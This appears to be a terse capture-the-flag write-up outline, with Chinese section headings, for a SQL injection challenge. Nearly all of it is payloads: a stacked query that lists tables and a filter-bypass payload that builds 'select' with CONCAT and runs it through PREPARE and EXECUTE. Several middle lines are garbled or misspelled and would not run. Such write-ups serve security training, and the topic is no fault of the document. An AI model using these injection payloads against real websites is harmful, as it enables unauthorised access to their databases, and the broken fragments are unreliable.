1、介绍
2、解题
11';show tables;#
select * from `1919810931114514`
concat(`sel`,`ect from 1919810931114514` ')
PEREPARE y
fromsql;
ECCUTE y;
-1';sEt @sql = CONCAt('se','lect * from `1919810931114514`;');
prePare stmt from @sql;
EXECUTE stmt;
结束